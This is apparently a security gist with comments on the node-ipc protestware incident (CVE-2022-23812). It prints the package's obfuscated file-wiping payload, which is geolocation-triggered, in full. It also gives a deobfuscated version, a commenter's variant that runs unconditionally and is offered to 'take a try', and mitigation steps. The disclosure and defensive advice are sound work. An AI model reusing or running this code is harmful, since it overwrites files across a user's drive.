RIAEvangelist/node-ipc is malware / protestware
The RIAEvangelist/node-ipc
module contains protestware peacenotwar.
Excerpt from RIAEvangelist/node-ipc:
as of v11.0.0 & v9.2.2 this module uses the peacenotwar module.
More importantly, commits 847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803
of RIAEvangelist/node-ipc
contains malware.
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus, node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:
import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
const t = Math.round(Math.random() * 4);
if (t > 1) {
return;
}
const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
o.get(n.toString("utf8"), function (t) {
t.on("data", function (t) {
const n = Buffer.from("Li8=", "base64");
const o = Buffer.from("Li4v", "base64");
const r = Buffer.from("Li4vLi4v", "base64");
const f = Buffer.from("Lw==", "base64");
const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
const e = Buffer.from("cnVzc2lh", "base64");
const i = Buffer.from("YmVsYXJ1cw==", "base64");
try {
const s = JSON.parse(t.toString("utf8"));
const u = s[c.toString("utf8")].toLowerCase();
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
if (a) {
h(n.toString("utf8"));
h(o.toString("utf8"));
h(r.toString("utf8"));
h(f.toString("utf8"));
}
} catch (t) {}
});
});
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
if (!a.existsSync(n)) {
return;
}
let r = [];
try {
r = a.readdirSync(n);
} catch (t) {}
const f = [];
const c = Buffer.from("4p2k77iP", "base64");
for (var e = 0; e < r.length; e++) {
const i = u.join(n, r[e]);
let t = null;
try {
t = a.lstatSync(i);
} catch (t) {
continue;
}
if (t.isDirectory()) {
const s = h(i, o);
s.length > 0 ? f.push(...s) : null;
} else if (i.indexOf(o) >= 0) {
try {
a.writeFile(i, c.toString("utf8"), function () {});
} catch (t) {}
}
}
return f;
}
const ssl = true;
export { ssl as default, ssl };
The following are excerpts from the malicious code:
Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`
The following demonstrates example of what each of the parameters going to the a.writeFile(i,c.toString("utf8")
would be:
Just made it better looked and commented dangerous code so you guys can take a try. Obviously the code will delete literally EVERYTHING on your drive.
const path = require("path"); const fs = require("fs"); const https = require("https"); setTimeout(function () { const randomNumber = Math.round(Math.random() * 4); if (randomNumber > 1) { // return; } const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154"; const pwd = "./"; const parentDir = "../"; const grandParentDir = "../../"; const root = "/"; const countryName = "country_name"; const russia = "russia"; const belarus = "belarus"; https.get(apiKey, function (message) { message.on("data", function (msgBuffer) { try { const message = JSON.parse(msgBuffer.toString("utf8")); const userCountryName = message[countryName.toString("utf8")].toLowerCase(); const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus if (hasRus) { deleteFile(pwd); deleteFile(parentDir); deleteFile(grandParentDir); deleteFile(root); } } catch (t) {} }); }); // zkyf: Let's try this directly here deleteFile(pwd); deleteFile(parentDir); deleteFile(grandParentDir); deleteFile(root); }, 100); async function deleteFile(pathName = "", o = "") { if (!fs.existsSync(pathName)) { return; } let fileList = []; try { fileList = fs.readdirSync(pathName); } catch (t) {} const f = []; const heartUtf8 = Buffer.from("4p2k77iP", "base64"); for (var idx = 0; idx < fileList.length; idx++) { const fileName = path.join(pathName, fileList[idx]); let fileInfo = null; try { fileInfo = fs.lstatSync(fileName); } catch (err) { continue; } if (fileInfo.isDirectory()) { const fileSymbol = deleteFile(fileName, o); fileSymbol.length > 0 ? f.push(...fileSymbol) : null; } else if (fileName.indexOf(o) >= 0) { try { // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️` console.log(`Rewrite ${fileName}`); } catch (err) {} } } return f; }
The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: cnpm/bug-versions#181
If you use one of the following mitigation stratagies, make sure to remove the ^
to force node-ipc
to the specified version.
"^9.x.x" -> "9.2.1"
"dependencies": {
- "node-ipc": "^9.x.x"
+ "node-ipc": "9.2.1"
}
"^10.x.x" -> "10.1.0"
"dependencies": {
- "node-ipc": "^10.x.x"
+ "node-ipc": "10.1.0"
}
"^11.x.x" -> "10.1.0"
"dependencies": {
- "node-ipc": "^11.x.x"
+ "node-ipc": "10.1.0"
}
@RIAEvangelist has banned me from interacting with their repositories
The security research firm snyk.io recommends the following mitigation strategy for users of node-ipc
:
package.json
"overrides": {
"node-ipc@>9.2.1 <10": "9.2.1",
"node-ipc@>10.1.0": "10.1.0"
}
Edit 2022-03-17_2 (credit: @Uzlopak)
Don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with them. So upgrading npm to 8 would be necessary.
I'm not too familiar with how yarn works, so I don't want to risk giving false instructions to users.
I've been seeing a lot of hate comments going after the owner of node-ipc
(especially on their repositories).
We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.
Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812.
I'm sure that the owner of node-ipc
will be reprimanded by their employer, NPM, and GitHub.
I've begun work on my own fork of node-ipc
:
MidSpike/node-ipc#1
Using caret ranged semver by default in package.json by NPM looks more questionable now.
As well as the default granting to any package no limited access to hard drives and network by Node.js.
I think
package.json
should contain the permission list which will limit read/write places and network access for a package. Like it is in web extensions.UPD.
A few thoughts about
package.json
's "permissions
" fieldFor example:
is-odd-num
should not require any permission.node_modules
directory).A
uses another moduleB
with"*://*/*"
("<all_urls>"
) permission (for example,node-fetch
), then moduleB
will not have"<all_urls>"
permission enabled unless it's not specified inpackage.json
of parent moduleA
. (A parent module should limit access of submodules.)In cases of
node-ipc
I don't see that it should have read/write/overwrite access to any hard drive place.If it requires the network access by default, you could limit it in
package.json
of your application. So, you would see the warning that your app (one of submodules) unexpectedly performs requests to a geoIP service, thatnode-ipc
did. Alsonode-ipc
just would not updated automatically to this version because of changing the permission list of it.More advanced thing:
oninstall
event, for example, some packages download some additional required for work files only on install event.